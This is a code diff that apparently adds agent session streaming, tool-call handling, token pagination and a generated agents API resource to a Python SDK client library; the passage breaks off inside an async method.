+ if key in self.handled_calls:
+ return None
+ self.handled_calls.add(key)
+ return call
+
+
+class AgentSessionStream:
+ """Submit input to an idle session and stream through the resulting turn's terminal session event.
+
+ Use as a context manager. Only one caller may submit input to this session while
+ the helper runs: the input endpoint does not return a turn ID for correlating
+ concurrent writers. Initial idle events and subagent turn completions do not
+ end iteration. Failed/cancelled turns remain visible as events; an unexpected
+ end of the connection raises RuntimeError. Closing the stream does not cancel
+ the backend turn.
+
+ Optional tool handlers run sequentially during iteration, after their call
+ event is yielded. Unregistered tools are left for the caller to handle. A
+ handler exception submits a generic failure result without exception text.
+ Input and tool submissions each use an idempotency key across retries. The
+ optional idempotency_key argument applies only to the input submission.
+ """
+
+ def __init__(
+ self,
+ sessions: Sessions,
+ session_id: str,
+ *,
+ input: str | Iterable[AgentSessionInputMessageParam],
+ tool_handlers: Mapping[str, ToolHandler] | None = None,
+ idempotency_key: str | Omit = omit,
+ extra_headers: Headers | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ self._sessions = sessions
+ self._session_id = session_id
+ self._input = _input_event(input)
+ self._handlers = dict(tool_handlers or {})
+ self._idempotency_key = _input_key(idempotency_key, extra_headers)
+ self._options = _request_options({"extra_headers": extra_headers, "timeout": timeout})
+ self._state = _TurnState()
+ self._stream: Stream[AgentSessionEvent] | None = None
+ self._iterator: Iterator[AgentSessionEvent] | None = None
+ self._entered = False
+ self._closed = False
+
+ def __enter__(self) -> Self:
+ if self._entered or self._closed:
+ raise RuntimeError("An AgentSessionStream can only be entered once")
+ self._entered = True
+ session = self._sessions.retrieve(self._session_id, **self._options)
+ if session.status != "idle":
+ raise ValueError(
+ "sessions.stream requires an idle session; use sessions.events.stream to follow an active session"
+ )
+ self._stream = self._sessions.events.stream(self._session_id, **self._options)
+ try:
+ self._sessions.events.create(
+ self._session_id, events=[self._input], idempotency_key=self._idempotency_key, **self._options
+ )
+ except BaseException:
+ self.close()
+ raise
+ self._iterator = self._iterate()
+ return self
+
+ def __exit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, exc_tb: TracebackType | None
+ ) -> None:
+ self.close()
+
+ def __iter__(self) -> Self:
+ return self
+
+ def __next__(self) -> AgentSessionEvent:
+ if self._closed:
+ raise StopIteration
+ if self._iterator is None:
+ raise RuntimeError("Use sessions.stream in a with block")
+ return next(self._iterator)
+
+ def until_done(self) -> None:
+ """Consume the remaining events, including any registered tool calls."""
+ for _ in self:
+ pass
+
+ def close(self) -> None:
+ """Close the event connection without cancelling the backend turn."""
+ self._closed = True
+ if self._stream is not None:
+ self._stream.close()
+
+ def _iterate(self) -> Iterator[AgentSessionEvent]:
+ assert self._stream is not None
+ try:
+ for event in self._stream:
+ if not self._state.accept(event):
+ continue
+ terminal = self._state.terminal(event)
+ if terminal:
+ self.close()
+ # Capture routing and arguments before exposing the mutable event.
+ call = self._state.call(event)
+ handler = self._handlers.get(call.name) if call is not None else None
+ if handler is not None:
+ call = deepcopy(call)
+ yield event
+ if terminal or self._closed:
+ return
+ if call is not None and handler is not None:
+ try:
+ result = result_event(call, handler(arguments(call)))
+ except Exception:
+ result = failed_event(call)
+ self._submit_result(result)
+ raise RuntimeError("Session event stream ended before the turn reached idle or failed")
+ finally:
+ self.close()
+
+ def _submit_result(self, result: SessionInputParamAgentSessionInputToolResult) -> None:
+ # Reuse one key for transport retries and the pending-call registration race.
+ # An input-specific key in extra_headers must not be reused for tool results.
+ idempotency_key = str(uuid4())
+ for delay in (0.1, 0.3, 0.6, None):
+ try:
+ self._sessions.events.create(
+ self._session_id, events=[result], idempotency_key=idempotency_key, **self._options
+ )
+ return
+ except BadRequestError as error:
+ if delay is None or not is_pending_call_race(error, result["call_id"]):
+ raise
+ self._sessions._sleep(delay)
+
+
+class AsyncAgentSessionStream:
+ """Async counterpart of AgentSessionStream; use with ``async with``.
+
+ Requires an idle session with a single input writer. Handlers may return a
+ value or an awaitable; synchronous handlers run inline, without a thread
+ pool. Cancellation propagates and closes the event connection. It does not
+ cancel the backend turn.
+ """
+
+ def __init__(
+ self,
+ sessions: AsyncSessions,
+ session_id: str,
+ *,
+ input: str | Iterable[AgentSessionInputMessageParam],
+ tool_handlers: Mapping[str, AsyncToolHandler] | None = None,
+ idempotency_key: str | Omit = omit,
+ extra_headers: Headers | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ self._sessions = sessions
+ self._session_id = session_id
+ self._input = _input_event(input)
+ self._handlers = dict(tool_handlers or {})
+ self._idempotency_key = _input_key(idempotency_key, extra_headers)
+ self._options = _request_options({"extra_headers": extra_headers, "timeout": timeout})
+ self._state = _TurnState()
+ self._stream: AsyncStream[AgentSessionEvent] | None = None
+ self._iterator: AsyncIterator[AgentSessionEvent] | None = None
+ self._entered = False
+ self._closed = False
+
+ async def __aenter__(self) -> Self:
+ if self._entered or self._closed:
+ raise RuntimeError("An AsyncAgentSessionStream can only be entered once")
+ self._entered = True
+ session = await self._sessions.retrieve(self._session_id, **self._options)
+ if session.status != "idle":
+ raise ValueError(
+ "sessions.stream requires an idle session; use sessions.events.stream to follow an active session"
+ )
+ self._stream = await self._sessions.events.stream(self._session_id, **self._options)
+ try:
+ await self._sessions.events.create(
+ self._session_id, events=[self._input], idempotency_key=self._idempotency_key, **self._options
+ )
+ except BaseException:
+ await self.close()
+ raise
+ self._iterator = self._iterate()
+ return self
+
+ async def __aexit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, exc_tb: TracebackType | None
+ ) -> None:
+ await self.close()
+
+ def __aiter__(self) -> Self:
+ return self
+
+ async def __anext__(self) -> AgentSessionEvent:
+ if self._closed:
+ raise StopAsyncIteration
+ if self._iterator is None:
+ raise RuntimeError("Use sessions.stream in an async with block")
+ return await self._iterator.__anext__()
+
+ async def until_done(self) -> None:
+ """Consume the remaining events, including any registered tool calls."""
+ async for _ in self:
+ pass
+
+ async def close(self) -> None:
+ """Close the event connection without cancelling the backend turn."""
+ self._closed = True
+ if self._stream is not None:
+ await self._stream.close()
+
+ async def _iterate(self) -> AsyncIterator[AgentSessionEvent]:
+ assert self._stream is not None
+ try:
+ async for event in self._stream:
+ if not self._state.accept(event):
+ continue
+ terminal = self._state.terminal(event)
+ if terminal:
+ await self.close()
+ # Capture routing and arguments before exposing the mutable event.
+ call = self._state.call(event)
+ handler = self._handlers.get(call.name) if call is not None else None
+ if handler is not None:
+ call = deepcopy(call)
+ yield event
+ if terminal or self._closed:
+ return
+ if call is not None and handler is not None:
+ try:
+ output = handler(arguments(call))
+ if inspect.isawaitable(output):
+ output = await output
+ result = result_event(call, output)
+ except Exception:
+ result = failed_event(call)
+ await self._submit_result(result)
+ raise RuntimeError("Session event stream ended before the turn reached idle or failed")
+ finally:
+ await self.close()
+
+ async def _submit_result(self, result: SessionInputParamAgentSessionInputToolResult) -> None:
+ # Reuse one key for transport retries and the pending-call registration race.
+ # An input-specific key in extra_headers must not be reused for tool results.
+ idempotency_key = str(uuid4())
+ for delay in (0.1, 0.3, 0.6, None):
+ try:
+ await self._sessions.events.create(
+ self._session_id, events=[result], idempotency_key=idempotency_key, **self._options
+ )
+ return
+ except BadRequestError as error:
+ if delay is None or not is_pending_call_race(error, result["call_id"]):
+ raise
+ await self._sessions._sleep(delay)
diff --git a/src/openai/lib/streaming/agents/_tools.py b/src/openai/lib/streaming/agents/_tools.py
new file mode 100644
index 0000000000..f252436fd1
--- /dev/null
+++ b/src/openai/lib/streaming/agents/_tools.py
@@ -0,0 +1,54 @@
+from __future__ import annotations
+
+import json
+from copy import deepcopy
+from typing import Any, Dict, Mapping, cast
+
+from ._types import ToolOutput
+from ...._exceptions import BadRequestError
+from ....types.beta.agent_function_call_item import AgentFunctionCallItem
+from ....types.beta.agent_session_input_param import SessionInputParamAgentSessionInputToolResult
+from ....types.beta.agent_function_call_output_param import AgentFunctionCallOutputParam
+
+
+def arguments(call: AgentFunctionCallItem) -> Dict[str, Any]:
+ value = json.loads(call.arguments) if isinstance(call.arguments, str) else deepcopy(call.arguments)
+ if not isinstance(value, dict):
+ raise ValueError("Function arguments must be a JSON object")
+ return cast(Dict[str, Any], value)
+
+
+def result_event(call: AgentFunctionCallItem, output: ToolOutput) -> SessionInputParamAgentSessionInputToolResult:
+ if isinstance(output, Mapping):
+ output = json.dumps(dict(output), separators=(",", ":"))
+ # Materialize iterators here so serialization failures produce a failed tool result.
+ if output is not None and not isinstance(output, str):
+ output = list(output)
+ return {
+ "type": "agent.session.input.tool_result",
+ "turn_id": call.turn_id,
+ "call_id": call.call_id,
+ "success": True,
+ "output": cast(AgentFunctionCallOutputParam, output) if output is not None else None,
+ }
+
+
+def failed_event(call: AgentFunctionCallItem) -> SessionInputParamAgentSessionInputToolResult:
+ return {
+ "type": "agent.session.input.tool_result",
+ "turn_id": call.turn_id,
+ "call_id": call.call_id,
+ "success": False,
+ # Do not send exception text, which may include application secrets, to the model.
+ "error": "Tool handler failed.",
+ }
+
+
+def is_pending_call_race(error: BadRequestError, call_id: str) -> bool:
+ # The item event can arrive before the server registers the pending call.
+ # Match only this known registration race; other HTTP failures propagate.
+ raw_body = error.body
+ body = cast(Dict[str, object], raw_body) if isinstance(raw_body, dict) else {}
+ return (
+ body.get("code") == "invalid_request_error" and body.get("message") == f"Unknown pending tool call: {call_id}"
+ )
diff --git a/src/openai/lib/streaming/agents/_types.py b/src/openai/lib/streaming/agents/_types.py
new file mode 100644
index 0000000000..3658c47dff
--- /dev/null
+++ b/src/openai/lib/streaming/agents/_types.py
@@ -0,0 +1,10 @@
+from __future__ import annotations
+
+from typing import Any, Dict, Union, Mapping, Callable, Iterable, Awaitable
+from typing_extensions import TypeAlias
+
+from ....types.beta.input_content_param import InputContentParam
+
+ToolOutput: TypeAlias = Union[str, Mapping[str, Any], Iterable[InputContentParam], None]
+ToolHandler: TypeAlias = Callable[[Dict[str, Any]], ToolOutput]
+AsyncToolHandler: TypeAlias = Callable[[Dict[str, Any]], Union[ToolOutput, Awaitable[ToolOutput]]]
diff --git a/src/openai/pagination.py b/src/openai/pagination.py
index 8f13964cfe..4f376fe86d 100644
--- a/src/openai/pagination.py
+++ b/src/openai/pagination.py
@@ -12,6 +12,8 @@
"AsyncConversationCursorPage",
"SyncNextCursorPage",
"AsyncNextCursorPage",
+ "SyncTokenPage",
+ "AsyncTokenPage",
]
_T = TypeVar("_T")
@@ -246,3 +248,61 @@ def next_page_info(self) -> Optional[PageInfo]:
return None
return PageInfo(params={"after": next})
+
+
+class SyncTokenPage(BaseSyncPage[_T], BasePage[_T], Generic[_T]):
+ data: List[_T]
+ has_more: Optional[bool] = None
+ next: Optional[str] = None
+
+ @override
+ def _get_page_items(self) -> List[_T]:
+ data = self.data
+ if not data:
+ return []
+ return data
+
+ @override
+ def has_next_page(self) -> bool:
+ has_more = self.has_more
+ if has_more is not None and has_more is False:
+ return False
+
+ return super().has_next_page()
+
+ @override
+ def next_page_info(self) -> Optional[PageInfo]:
+ next = self.next
+ if not next:
+ return None
+
+ return PageInfo(params={"page": next})
+
+
+class AsyncTokenPage(BaseAsyncPage[_T], BasePage[_T], Generic[_T]):
+ data: List[_T]
+ has_more: Optional[bool] = None
+ next: Optional[str] = None
+
+ @override
+ def _get_page_items(self) -> List[_T]:
+ data = self.data
+ if not data:
+ return []
+ return data
+
+ @override
+ def has_next_page(self) -> bool:
+ has_more = self.has_more
+ if has_more is not None and has_more is False:
+ return False
+
+ return super().has_next_page()
+
+ @override
+ def next_page_info(self) -> Optional[PageInfo]:
+ next = self.next
+ if not next:
+ return None
+
+ return PageInfo(params={"page": next})
diff --git a/src/openai/resources/beta/__init__.py b/src/openai/resources/beta/__init__.py
index 0358202854..de83babece 100644
--- a/src/openai/resources/beta/__init__.py
+++ b/src/openai/resources/beta/__init__.py
@@ -8,6 +8,14 @@
BetaWithStreamingResponse,
AsyncBetaWithStreamingResponse,
)
+from .agents import (
+ Agents,
+ AsyncAgents,
+ AgentsWithRawResponse,
+ AsyncAgentsWithRawResponse,
+ AgentsWithStreamingResponse,
+ AsyncAgentsWithStreamingResponse,
+)
from .chatkit import (
ChatKit,
AsyncChatKit,
@@ -42,6 +50,12 @@
)
__all__ = [
+ "Agents",
+ "AsyncAgents",
+ "AgentsWithRawResponse",
+ "AsyncAgentsWithRawResponse",
+ "AgentsWithStreamingResponse",
+ "AsyncAgentsWithStreamingResponse",
"Responses",
"AsyncResponses",
"ResponsesWithRawResponse",
diff --git a/src/openai/resources/beta/agents/__init__.py b/src/openai/resources/beta/agents/__init__.py
new file mode 100644
index 0000000000..86b3e42ddb
--- /dev/null
+++ b/src/openai/resources/beta/agents/__init__.py
@@ -0,0 +1,61 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from .agents import (
+ Agents,
+ AsyncAgents,
+ AgentsWithRawResponse,
+ AsyncAgentsWithRawResponse,
+ AgentsWithStreamingResponse,
+ AsyncAgentsWithStreamingResponse,
+)
+from .vaults import (
+ Vaults,
+ AsyncVaults,
+ VaultsWithRawResponse,
+ AsyncVaultsWithRawResponse,
+ VaultsWithStreamingResponse,
+ AsyncVaultsWithStreamingResponse,
+)
+from .sessions import (
+ Sessions,
+ AsyncSessions,
+ SessionsWithRawResponse,
+ AsyncSessionsWithRawResponse,
+ SessionsWithStreamingResponse,
+ AsyncSessionsWithStreamingResponse,
+)
+from .environments import (
+ Environments,
+ AsyncEnvironments,
+ EnvironmentsWithRawResponse,
+ AsyncEnvironmentsWithRawResponse,
+ EnvironmentsWithStreamingResponse,
+ AsyncEnvironmentsWithStreamingResponse,
+)
+
+__all__ = [
+ "Environments",
+ "AsyncEnvironments",
+ "EnvironmentsWithRawResponse",
+ "AsyncEnvironmentsWithRawResponse",
+ "EnvironmentsWithStreamingResponse",
+ "AsyncEnvironmentsWithStreamingResponse",
+ "Vaults",
+ "AsyncVaults",
+ "VaultsWithRawResponse",
+ "AsyncVaultsWithRawResponse",
+ "VaultsWithStreamingResponse",
+ "AsyncVaultsWithStreamingResponse",
+ "Sessions",
+ "AsyncSessions",
+ "SessionsWithRawResponse",
+ "AsyncSessionsWithRawResponse",
+ "SessionsWithStreamingResponse",
+ "AsyncSessionsWithStreamingResponse",
+ "Agents",
+ "AsyncAgents",
+ "AgentsWithRawResponse",
+ "AsyncAgentsWithRawResponse",
+ "AgentsWithStreamingResponse",
+ "AsyncAgentsWithStreamingResponse",
+]
diff --git a/src/openai/resources/beta/agents/agents.py b/src/openai/resources/beta/agents/agents.py
new file mode 100644
index 0000000000..743e339784
--- /dev/null
+++ b/src/openai/resources/beta/agents/agents.py
@@ -0,0 +1,876 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Dict, Iterable, Optional
+from typing_extensions import Literal
+
+import httpx2
+
+from .... import _legacy_response
+from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ...._utils import path_template, maybe_transform, async_maybe_transform
+from ...._compat import cached_property
+from ...._resource import SyncAPIResource, AsyncAPIResource
+from ...._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from ....pagination import SyncCursorPage, AsyncCursorPage
+from ....types.beta import agent_list_params, agent_create_params, agent_update_params
+from .vaults.vaults import (
+ Vaults,
+ AsyncVaults,
+ VaultsWithRawResponse,
+ AsyncVaultsWithRawResponse,
+ VaultsWithStreamingResponse,
+ AsyncVaultsWithStreamingResponse,
+)
+from ...._base_client import AsyncPaginator, make_request_options
+from .sessions.sessions import (
+ Sessions,
+ AsyncSessions,
+ SessionsWithRawResponse,
+ AsyncSessionsWithRawResponse,
+ SessionsWithStreamingResponse,
+ AsyncSessionsWithStreamingResponse,
+)
+from ....types.beta.agent import Agent
+from .environments.environments import (
+ Environments,
+ AsyncEnvironments,
+ EnvironmentsWithRawResponse,
+ AsyncEnvironmentsWithRawResponse,
+ EnvironmentsWithStreamingResponse,
+ AsyncEnvironmentsWithStreamingResponse,
+)
+from ....types.beta.agent_deleted import AgentDeleted
+from ....types.beta.agent_text_param import AgentTextParam
+from ....types.beta.agent_reasoning_param import AgentReasoningParam
+from ....types.beta.multi_agent_config_param import MultiAgentConfigParam
+from ....types.beta.persisted_agent_tool_param import PersistedAgentToolParam
+
+__all__ = ["Agents", "AsyncAgents"]
+
+
+class Agents(SyncAPIResource):
+ @cached_property
+ def environments(self) -> Environments:
+ return Environments(self._client)
+
+ @cached_property
+ def vaults(self) -> Vaults:
+ return Vaults(self._client)
+
+ @cached_property
+ def sessions(self) -> Sessions:
+ return Sessions(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> AgentsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AgentsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AgentsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AgentsWithStreamingResponse(self)
+
+ def create(
+ self,
+ *,
+ model: str,
+ instructions: Optional[str] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ multi_agent: Optional[MultiAgentConfigParam] | Omit = omit,
+ name: Optional[str] | Omit = omit,
+ reasoning: Optional[AgentReasoningParam] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]] | Omit = omit,
+ text: Optional[AgentTextParam] | Omit = omit,
+ tools: Optional[Iterable[PersistedAgentToolParam]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Agent:
+ """Creates a reusable agent without storing credentials.
+
+ See
+ [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+
+ Args:
+ model: The model to use for the agent. The requested model name is preserved.
+
+ instructions: Additional instructions appended to the agent's default base instructions. Omit
+ or set to null to add no custom instructions.
+
+ metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters. Omission or null defaults to an empty map.
+
+ multi_agent: Explicit configuration for creating and coordinating subagents.
+
+ name: A human-readable name for the agent. Omission or null leaves the agent unnamed.
+
+ reasoning: Reasoning configuration for the agent.
+
+ service_tier: The service tier used for model requests.
+
+ - `auto` - Selects the service tier automatically.
+ - `default` - Uses the default service tier.
+ - `flex` - Uses the flex service tier.
+ - `priority` - Uses the priority service tier.
+ - `fast` - Uses the fast service tier.
+
+ text: Configuration for text generated by the agent.
+
+ tools: Tools available to the agent. Defaults to an empty list.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._post(
+ "/agents",
+ body=maybe_transform(
+ {
+ "model": model,
+ "instructions": instructions,
+ "metadata": metadata,
+ "multi_agent": multi_agent,
+ "name": name,
+ "reasoning": reasoning,
+ "service_tier": service_tier,
+ "text": text,
+ "tools": tools,
+ },
+ agent_create_params.AgentCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Agent,
+ )
+
+ def retrieve(
+ self,
+ agent_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Agent:
+ """Retrieves a reusable agent by ID.
+
+ See
+ [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not agent_id:
+ raise ValueError(f"Expected a non-empty value for `agent_id` but received {agent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template("/agents/{agent_id}", agent_id=agent_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Agent,
+ )
+
+ def update(
+ self,
+ agent_id: str,
+ *,
+ instructions: Optional[str] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ model: str | Omit = omit,
+ multi_agent: Optional[MultiAgentConfigParam] | Omit = omit,
+ name: Optional[str] | Omit = omit,
+ reasoning: Optional[AgentReasoningParam] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]] | Omit = omit,
+ text: Optional[AgentTextParam] | Omit = omit,
+ tools: Optional[Iterable[PersistedAgentToolParam]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Agent:
+ """Updates a reusable agent.
+
+ See
+ [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+
+ Args:
+ instructions: Additional instructions appended to the agent's default base instructions. Omit
+ to leave unchanged.
+
+ metadata: Replaces all metadata. Omit to leave unchanged, or pass null or {} to clear it.
+ Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters.
+
+ model: The model to use for the agent. The requested model name is preserved.
+
+ multi_agent: Explicit configuration for creating and coordinating subagents.
+
+ name: A replacement name. Omit to leave unchanged, or pass null to clear it.
+
+ reasoning: Reasoning configuration for the agent.
+
+ service_tier: The service tier used for model requests.
+
+ - `auto` - Selects the service tier automatically.
+ - `default` - Uses the default service tier.
+ - `flex` - Uses the flex service tier.
+ - `priority` - Uses the priority service tier.
+ - `fast` - Uses the fast service tier.
+
+ text: Configuration for text generated by the agent.
+
+ tools: Tools available to the agent.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not agent_id:
+ raise ValueError(f"Expected a non-empty value for `agent_id` but received {agent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._post(
+ path_template("/agents/{agent_id}", agent_id=agent_id),
+ body=maybe_transform(
+ {
+ "instructions": instructions,
+ "metadata": metadata,
+ "model": model,
+ "multi_agent": multi_agent,
+ "name": name,
+ "reasoning": reasoning,
+ "service_tier": service_tier,
+ "text": text,
+ "tools": tools,
+ },
+ agent_update_params.AgentUpdateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Agent,
+ )
+
+ def list(
+ self,
+ *,
+ after: str | Omit = omit,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncCursorPage[Agent]:
+ """Lists reusable agents in the current project.
+
+ See
+ [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ "/agents",
+ page=SyncCursorPage[Agent],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ agent_list_params.AgentListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Agent,
+ )
+
+ def delete(
+ self,
+ agent_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentDeleted:
+ """Deletes a reusable agent.
+
+ See
+ [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not agent_id:
+ raise ValueError(f"Expected a non-empty value for `agent_id` but received {agent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._delete(
+ path_template("/agents/{agent_id}", agent_id=agent_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=AgentDeleted,
+ )
+
+
+class AsyncAgents(AsyncAPIResource):
+ @cached_property
+ def environments(self) -> AsyncEnvironments:
+ return AsyncEnvironments(self._client)
+
+ @cached_property
+ def vaults(self) -> AsyncVaults:
+ return AsyncVaults(self._client)
+
+ @cached_property
+ def sessions(self) -> AsyncSessions:
+ return AsyncSessions(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> AsyncAgentsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncAgentsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncAgentsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncAgentsWithStreamingResponse(self)
+
+ async def create(
+ self,
+ *,
+ model: str,
+ instructions: Optional[str] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ multi_agent: Optional[MultiAgentConfigParam] | Omit = omit,
+ name: Optional[str] | Omit = omit,
+ reasoning: Optional[AgentReasoningParam] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]] | Omit = omit,
+ text: Optional[AgentTextParam] | Omit = omit,
+ tools: Optional[Iterable[PersistedAgentToolParam]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Agent:
+ """Creates a reusable agent without storing credentials.
+
+ See
+ [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+
+ Args:
+ model: The model to use for the agent. The requested model name is preserved.
+
+ instructions: Additional instructions appended to the agent's default base instructions. Omit
+ or set to null to add no custom instructions.
+
+ metadata: Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters. Omission or null defaults to an empty map.
+
+ multi_agent: Explicit configuration for creating and coordinating subagents.
+
+ name: A human-readable name for the agent. Omission or null leaves the agent unnamed.
+
+ reasoning: Reasoning configuration for the agent.
+
+ service_tier: The service tier used for model requests.
+
+ - `auto` - Selects the service tier automatically.
+ - `default` - Uses the default service tier.
+ - `flex` - Uses the flex service tier.
+ - `priority` - Uses the priority service tier.
+ - `fast` - Uses the fast service tier.
+
+ text: Configuration for text generated by the agent.
+
+ tools: Tools available to the agent. Defaults to an empty list.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._post(
+ "/agents",
+ body=await async_maybe_transform(
+ {
+ "model": model,
+ "instructions": instructions,
+ "metadata": metadata,
+ "multi_agent": multi_agent,
+ "name": name,
+ "reasoning": reasoning,
+ "service_tier": service_tier,
+ "text": text,
+ "tools": tools,
+ },
+ agent_create_params.AgentCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Agent,
+ )
+
+ async def retrieve(
+ self,
+ agent_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
